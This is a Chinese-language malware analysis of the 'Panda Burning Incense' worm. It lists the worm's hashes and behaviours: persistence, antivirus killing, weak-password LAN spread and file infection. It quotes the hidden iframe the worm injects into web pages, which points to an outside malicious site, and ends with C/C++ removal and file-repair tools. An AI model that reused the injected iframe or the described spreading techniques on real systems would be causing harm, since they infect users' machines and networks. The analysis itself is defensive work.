目录
前言
一、样本概况
1.1 样本信息
1.2 测试环境及工具
1.3 分析目标
二、具体行为分析
2.1 主要行为
2.1.1 恶意程序对用户造成的危害
2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图(是否有加固)
2.2.2 恶意程序的代码分析片段
三、解决方案(或总结)
3.1 提取病毒的特征,利用杀毒软件查杀
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。
3.3 编写自动查杀工具
3.4 被感染文件修复工具的编写
3.5 总结
前言
“熊猫烧香”病毒作为中国计算机病毒史上的典型案例,曾于2006年底至2007年初肆虐网络,造成大规模破坏。其独特的感染方式和强大的破坏力使其成为网络安全领域的重要研究对象。本文将从病毒的原理、传播方式、查杀方法及修复步骤等方面展开分析,帮助读者深入了解这一病毒及其应对策略。
一、样本概况
1.1 样本信息
病毒名称:(Nimaya)熊猫烧香
所属家族:Virus.Win32.Lamer.gx(卡巴斯基)
MD5 值:B8F8E75C9E77743A61BBEA9CCBCFFD5D
SHA1 值:188FC8FC580C0EA4BF8A8900A3D36471823C8923
SHA256:0c15096fb3bc30800f7af002c25953162b799391300a62b8507fe8e4f6532768
SSDeep: 3072:apAja0pSLwYqK6hVZ7N4bdq4a53YKCOTpc:a2ja0pShqK65ZOq4QYK1m CRC32:E63D45D3
病毒行为:
设置注册表自启动,删除服务,修改 PE 文件,自我复制,结束杀软进程,删除杀软启动项,局域网感染,下载病毒执行等。
被感染体特征:
被感染体行为:分离出病毒文件和被感染文件,创建病毒进程,其他行为同原病毒文件。
1.2 测试环境及工具
测试环境:VMvare14 windows7-32 系统
工具:火绒剑,ollydebug,IDA,Hash 计算工具,WSExplorer,010Editor
1.3 分析目标
主要对原病毒样本进行分析,解剖出各种恶意行为的代码。
二、具体行为分析
2.1 主要行为
运行后该病毒将自身拷贝至系统目录,同时修改注册表将自身设置为开机启动项,并遍历各个驱动器,将自身写入各个驱动器,将自身写入写入磁盘的根目录下,增加一个 Autorun.inf 文件,使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染,同时开另外一个线程连接网站下载 ddos 程序进行恶意攻击。
通过云沙箱大概了解该病毒的执行流程如下图:
被感染的程序主要行为流程如下图:
同时,也可以快速了解各种网络请求如下图。
执行原病毒程序后会产生一个新的病毒进程,如 OD 视图所示:
通过火绒剑各种过滤可以大概发现有以下行为:修改启动项和文件隐藏属性
创建和修改 Desktop.ini 文件,写入时间,或设置只读属性及隐藏
注册病毒程序启动项,隐藏病毒文件 setup.exe 和 autorun.inf
偷偷请求网站链接
调试技巧:
使用 OD 动态调试样本,不让样本创建进程,修改 ZF 标志位改变 4082ED 跳转,以便调试之后的感染函数代码以及其他函数代码。如下图所示
现在开始列举熊猫烧香的各种恶意行为如下:行为 1:自我复制
遍历进程找到病毒进程(spo0lsv.exe)就退出并结束掉,CopyFile 到系统目录(C:\Windows\System32\drivers),然后就运行程序(spo0lsv.exe)。
代码位置:sub_40819C
如果运行的是被感染的程序就会执行如下代码:
创建批处理文件功能是判断 spo0lsv.exe 是否存在,从被感染的文件分裂出病毒程序重新执行。
行为 2:使用 net share 命令关闭管理共享
代码位置:sub_40CDEC
行为 3:停止杀软进程
与杀毒软件进行对抗,通过窗口名称或进程名称关闭软件。
代码位置:sub_4061B8
行为 4:删除安全类软件在注册表中的启动项
代码位置:sub_406E44
行为 5:注册表中增加病毒程序启动项
代码位置:TimerFunc 以及行为 6 截图中的代码
行为 6:修改注册表中隐藏文件的设置
行为 7:创建病毒进程请见行为 1 截图
行为 8:创建副本文件
创建行为一中的副本和下面的 Setup.exe 副本
代码位置:TimerFunc
行为 9:局域网传播
连接攻击目标的 139 或 445 端口后,匹配账户名和弱密码,连接成功将副本以 GameSetup.exe 的文件名复制到局域网其他电脑中,具体如下图等。
账户如下:
弱密码如下:
连接攻击 139,445 端口如下:代码位置:sub_40B864
复制 GameSetup.exe 文件名的病毒:
代码位置:sub_40A928
行为 10;感染本地 exe,pif,src,html,asp 等文件
代码位置:sub_409348
行为 11:尝试删除 GHO 备份文件
代码位置:sub_409348
行为 12:禁用删除软件相关服务请见见行为 4 截图
行为 13:下载恶意代码,木马等代码位置:sub_40C9B0
代码位置:sub_40C5E0
2.1.1 恶意程序对用户造成的危害
1、复制病毒体,伪造正常程序
2、感染破坏系统中 exe,com,pif,src,html,asp 等文件,被感染执行体还有传染性。其中页面文件写进的脚本会诱导打开别的网站,注入脚本为
<iframe src=http://www.ac86.cn/66/index.htm width="0" height="0"></iframe>。
3、中止大量的反病毒软件进程,删除其服务及启动项,并且会删除扩展名为 gho 的备份文件,设置隐藏文件恢复显示不了。
4、局域网传播感染
5、下载恶意代码并执行
6、向外发包,连接局域网中其他机器。
2.2 恶意代码分析
2.2.1 加固后的恶意代码树结构图(是否有加固)
分析样本已经脱过壳,不过程序执行前部分有不少人为留下的信息,这些应该是病毒制作者与反病毒人员的交流信号,可以忽略。这里可以展示一下该病毒程序的恶意代码执行流程结构图。
2.2.2 恶意程序的代码分析片段
1、总体伪代码和汇编代码框架
2、病毒的自我复制和执行
2、全盘病毒感染和感染个体的细节
遍历磁盘感染:
感染个体文件细节:
代码位置:sub_407F00
先把目标文件读到内存,获取文件名和大小。复制病毒到感染路径覆盖原文件,然后将被感染文件的内容追加到复制出来的病毒文件中后面,接着追加感染标识WhBoy+原文件名+随机数。分析如下:
感染网页文件如下:
OD中调试被解密的密串和解密之后的脚本代码
尝试连接局域网目标445端口:
三、解决方案(或总结)
3.1 提取病毒的特征,利用杀毒软件查杀
3.2 手工查杀步骤或是工具查杀步骤或是查杀思路等。

3.3 编写自动查杀工具
#include "KillingTools.h"
#include <iostream>
using namespace std;//根据进程名称获取进程ID
DWORD GetProcessIDByName(const char* pName){HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);if (INVALID_HANDLE_VALUE == hSnapshot) {return NULL;}PROCESSENTRY32 pe = { sizeof(pe) };for (BOOL ret = Process32First(hSnapshot, &pe); ret; ret = Process32Next(hSnapshot, &pe)) {USES_CONVERSION;if (strcmp(W2CA(pe.szExeFile), pName) == 0) {CloseHandle(hSnapshot);return pe.th32ProcessID;}}CloseHandle(hSnapshot);return 0;
}//提升权限
BOOL EnablePrivilege(LPCTSTR szPrivilege, BOOL fEnable) {BOOL fOk = FALSE;HANDLE hToken = NULL;if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES, &hToken)) {TOKEN_PRIVILEGES tp;tp.PrivilegeCount = 1;LookupPrivilegeValue(NULL, szPrivilege, &tp.Privileges[0].Luid);tp.Privileges->Attributes = fEnable ? SE_PRIVILEGE_ENABLED : 0;AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL);fOk = (GetLastError() == ERROR_SUCCESS);CloseHandle(hToken);}return fOk;
}//计算散列值
DWORD CRC32(BYTE* ptr, DWORD Size){DWORD crcTable[256], crcTmp1;//动态生成CRC-32表for (int i = 0; i < 256; i++){crcTmp1 = i;for (int j = 8; j > 0; j--){if (crcTmp1 & 1) crcTmp1 = (crcTmp1 >> 1) ^ 0xEDB88320L;else crcTmp1 >>= 1;}crcTable[i] = crcTmp1;}//计算CRC32值DWORD crcTmp2 = 0xFFFFFFFF;while (Size--){crcTmp2 = ((crcTmp2 >> 8) & 0x00FFFFFF) ^ crcTable[(crcTmp2 ^ (*ptr)) & 0xFF];ptr++;}return (crcTmp2 ^ 0xFFFFFFFF);
}//遍历删除Desktop_.ini
DWORD WINAPI FindFiles(LPVOID lpszPath){WIN32_FIND_DATA stFindFile;HANDLE hFindFile;// 扫描路径char szPath[MAX_PATH];char szFindFile[MAX_PATH];char szSearch[MAX_PATH];char *szFilter;int len;int ret = 0;szFilter = "*.*";lstrcpy((LPWSTR)szPath, (LPCWSTR)lpszPath);len = lstrlen((LPCWSTR)szPath);if (szPath[len - 1] != '\\'){szPath[len] = '\\';szPath[len + 1] = '\0';}lstrcpy((LPWSTR)szSearch, (LPCWSTR)szPath);lstrcat((LPWSTR)szSearch, (LPCWSTR)szFilter);hFindFile = FindFirstFile((LPCWSTR)szSearch, &stFindFile);if (hFindFile != INVALID_HANDLE_VALUE){do{lstrcpy((LPWSTR)szFindFile, (LPCWSTR)szPath);lstrcat((LPWSTR)szFindFile, stFindFile.cFileName);if (stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY){if (stFindFile.cFileName[0] != '.'){FindFiles(szFindFile);}}else{if (!lstrcmp(stFindFile.cFileName, L"Desktop_.ini")){// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szFindFile);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szFindFile, dwFileAttributes);// 删除Desktop_.iniBOOL bRet = DeleteFile((LPCWSTR)szFindFile);cout << szFindFile << endl;if (bRet){cout << "被删除" << endl;}else{cout << "无法删除" << endl;}}}ret = FindNextFile(hFindFile, &stFindFile);} while (ret != 0);}FindClose(hFindFile);return 0;
}int main() {BOOL bRet = FALSE;DWORD dwPid = 0;//进程ID// 提升权限BOOL bRet1 = EnablePrivilege(SE_DEBUG_NAME, TRUE);if (bRet1 == FALSE){cout << "提升权限失败" << endl;}else{cout << "提升权限成功!" << endl;}dwPid = GetProcessIDByName("spo0lsv.exe");if (dwPid != 0) { bRet = 1; }// 结束spo0lsv.exe进程,并删除病毒程序本身if (bRet == TRUE){cout << "查找系统病毒进程..." << endl;cout << "系统中存在病毒进程:spo0lsv.exe" << endl;cout << "准备进行查杀..." << endl;// 打开并尝试结束病毒进程HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);if (hProcess == INVALID_HANDLE_VALUE){cout << "无法结束病毒进程" << endl;return 0;}bRet = TerminateProcess(hProcess, 0);if (bRet == FALSE){cout << "无法结束病毒进程" << endl;return 0;}cout << "病毒进程已经结束" << endl;CloseHandle(hProcess);}else{cout << "系统中不存在spo0lsv.exe病毒进程" << endl;}Sleep(10);// 查杀磁盘中是否存在名为spo0lsv.exe的病毒文件char szSysPath[MAX_PATH] = { 0 };GetSystemDirectory((LPWSTR)szSysPath, MAX_PATH);lstrcat((LPWSTR)szSysPath, L"\\drivers\\spo0lsv.exe");cout << "检查硬盘中是否存在spo0lsv.exe文件..." << endl;if (GetFileAttributes((LPWSTR)szSysPath) == 0xFFFFFFFF){cout << "spo0lsv.exe病毒文件不存在" << endl;}else{cout << "spo0lsv.exe病毒文件存在,正在计算散列值" << endl;HANDLE hFile = CreateFile((LPWSTR)szSysPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);// 计算spo0lsv.exe的散列值DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);// 3862775251是“熊猫烧香”病毒的散列值if (dwCrc32 != 3862775251){cout << "spo0lsv.exe比较校验失败" << endl;}else{cout << "spo0lsv.exe比较校验成功,正在删除..." << endl;// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSysPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSysPath, dwFileAttributes);// 删除spo0lsv.exebRet = DeleteFile((LPCWSTR)szSysPath);if (bRet){cout << "spoclsv.exe病毒被删除!" << endl;}else{cout << "spoclsv.exe病毒无法删除" << endl;}}}// 删除每个盘符下的setup.exe与autorun.inf,以及Desktop_.inichar szDriverString[MAXBYTE] = { 0 };char *pTmp = NULL;//获取字符串类型的驱动器列表 GetLogicalDriveStrings(MAXBYTE, (LPWSTR)szDriverString);pTmp = szDriverString;while (*pTmp){char szAutorunPath[MAX_PATH] = { 0 };char szSetupPath[MAX_PATH] = { 0 };lstrcat((LPWSTR)szAutorunPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szAutorunPath, L"autorun.inf");lstrcat((LPWSTR)szSetupPath, (LPCWSTR)pTmp);lstrcat((LPWSTR)szSetupPath, L"setup.exe");if (GetFileAttributes((LPCWSTR)szSetupPath) == 0xFFFFFFFF){cout << pTmp << " setup.exe病毒文件不存在" << endl;}else{cout << pTmp << " setup.exe病毒文件存在,正在进行计算校验和..." << endl;HANDLE hFile = CreateFile((LPCWSTR)szSetupPath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);if (hFile == INVALID_HANDLE_VALUE){cout << "Create Error" << endl;return 0;}DWORD dwSize = GetFileSize(hFile, NULL);if (dwSize == 0xFFFFFFFF){cout << "GetFileSize Error" << endl;return 0;}BYTE *pFile = (BYTE*)malloc(dwSize);if (pFile == NULL){cout << "malloc Error" << endl;return 0;}DWORD dwNum = 0;ReadFile(hFile, pFile, dwSize, &dwNum, NULL);DWORD dwCrc32 = CRC32(pFile, dwSize);if (pFile != NULL){free(pFile);pFile = NULL;}CloseHandle(hFile);if (dwCrc32 != 3862775251){cout << "比较校验失败" << endl;}else{cout << "比较校验成功,正在删除..." << endl;// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szSetupPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szSetupPath, dwFileAttributes);// 删除setup.exebRet = DeleteFile((LPCWSTR)szSetupPath);if (bRet){cout << pTmp << " setup.exe病毒已删除!" << endl;}else{cout << pTmp << " setup.exe病毒无法删除" << endl;}}}// 去除文件的隐藏、系统以及只读属性DWORD dwFileAttributes = GetFileAttributes((LPCWSTR)szAutorunPath);dwFileAttributes &= ~FILE_ATTRIBUTE_HIDDEN;dwFileAttributes &= ~FILE_ATTRIBUTE_SYSTEM;dwFileAttributes &= ~FILE_ATTRIBUTE_READONLY;SetFileAttributes((LPCWSTR)szAutorunPath, dwFileAttributes);// 删除autorun.infbRet = DeleteFile((LPCWSTR)szAutorunPath);if (bRet){cout << pTmp << " autorun.inf已删除!" << endl;}else{cout << pTmp << " autorun.inf不存在或无法删除" << endl;}// 删除Desktop_.iniFindFiles(pTmp);// 检查下一个盘符pTmp += 4;}// 修复注册表内容,删除病毒启动项并修复文件的隐藏显示cout << "正在检查注册表..." << endl;// 首先检查启动项TCHAR RegRun[] = TEXT("Software\\Microsoft\\Windows\\CurrentVersion\\Run");HKEY hKeyHKCU = NULL;LONG lSize = MAXBYTE;char cData[MAXBYTE] = { 0 };long lRet = RegOpenKeyEx(HKEY_CURRENT_USER, (LPCWSTR)RegRun, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKCU);if (lRet == ERROR_SUCCESS){lRet = RegQueryValueEx(hKeyHKCU, L"svcshare", NULL, NULL, (unsigned char *)cData, (unsigned long *)&lSize);if (lRet == ERROR_SUCCESS){if (lstrcmp((LPCWSTR)cData, L"C:\\WINDOWS\\system32\\drivers\\spo0lsv.exe") == 0){cout << "注册表启动项中存在病毒信息项" << endl;}lRet = RegDeleteValue(hKeyHKCU, L"svcshare");if (lRet == ERROR_SUCCESS){cout << "注册表启动项中的病毒信息已删除!" << endl;}else{cout << "注册表启动项中的病毒信息无法删除" << endl;}}else{cout << "注册表启动项中不存在病毒信息" << endl;}RegCloseKey(hKeyHKCU);}else{cout << "注册表启动项信息读取失败" << endl;}// 接下来修复文件的隐藏显示,需要将CheckedValue的值设置为1TCHAR RegHide[] = TEXT("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced\\Folder\\Hidden\\SHOWALL");HKEY hKeyHKLM = NULL;DWORD dwFlag = 1;long lRetHide = RegOpenKeyEx(HKEY_LOCAL_MACHINE, (LPCWSTR)RegHide, 0, KEY_WOW64_32KEY | KEY_ALL_ACCESS, &hKeyHKLM);if (lRetHide == ERROR_SUCCESS){cout << "检测注册表的文件隐藏选项..." << endl;if (ERROR_SUCCESS == RegSetValueEx(hKeyHKLM, //subkey handle L"CheckedValue", //value name 0, //must be zero REG_DWORD, //value type (CONST BYTE*)&dwFlag, //pointer to value data 4)) //length of value data{cout << "注册表修复完毕!" << endl;}else{cout << "无法恢复注册表的文件隐藏选项" << endl;}}cout << "病毒初步查杀完成,请使用专业杀毒软件进行全面扫描!" << endl;system("pause");return 0;
}
3.4 被感染文件修复工具的编写
#include <stdio.h>
#include "stdlib.h"
#include <windows.h>//str1中寻找str2的位置
int findsub(char *str1, char *str2, long sizes)
{int i = 0, j = 0;while (sizes - i) //多少个字符长度就执行多少次{for (; str1[i] != str2[0]; i++);//后面每个字符比较都不相等就i++if (str1[i] == str2[0])//判断首次相等{for (j = 0; str1[i + j] == str2[j]; j++);//后面每个字符比较都相等就j++if (str2[j] == '\0')//直到把字符串2都比较完都相等return i + 1; // 返回字符串2中出现字符串1的第一个位置}i++; //不相等就继续往后走}return -1;//如果没有找到合适的返回-1.
}//恢复被感染文件为正常文件
void recover(int pos1, int pos2) {FILE *in, *out;char ch;//打开源文件Exam1.exeif ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}//创建修复文件Exam2.exeif ((out = fopen("Exam2.exe", "wb")) == NULL){printf("The file %s can not be opened.\n", "Exam2.exe");return;}int i = 0;while (!feof(in))//判断文本结束{ch = fgetc(in);//读取一个字符if (ferror(in)){printf("read error!\n");clearerr(in);}else{//写入特定位置的字符if (pos1 <= i&&i <= pos2)fputc(ch, out);i++;//移动位置if (ferror(out))//ferror函数检查输出{printf("write error!\n");//文件错误标志和文件结束标志置为0clearerr(out);}}}//关闭文件流fclose(in);fclose(out);
}void main()
{FILE *f = fopen("Exam1.exe", "rb");fseek(f, 0, SEEK_END);long fsize = ftell(f);//获取源文件大小fseek(f, 0, SEEK_SET);fclose(f);//用于存储源文件内容char *string = (char*)malloc(fsize + 1);FILE *in, *out;char ch;if ((in = fopen("Exam1.exe", "rb")) == NULL){printf("The file %s can not be opened.\n", "Exam1.exe");return;}int i = 0;while (!feof(in)){ch = fgetc(in);if (ferror(in)){printf("read error!\n");clearerr(in);}else{//一个个字符保存string[i] = ch;i++;}}fclose(in);//保存正常文件的MZ头位置int count1 = findsub(string, "This", fsize + 1) - 79;//保存感染标志位WhBoyExam1的位置int count2 = findsub(string, "WhBoyExam1", fsize + 1) - 2;//开始修复文件recover(count1, count2);//释放内存delete string;//删除病毒文件DeleteFile(L"Exam1.exe");system("pause");
}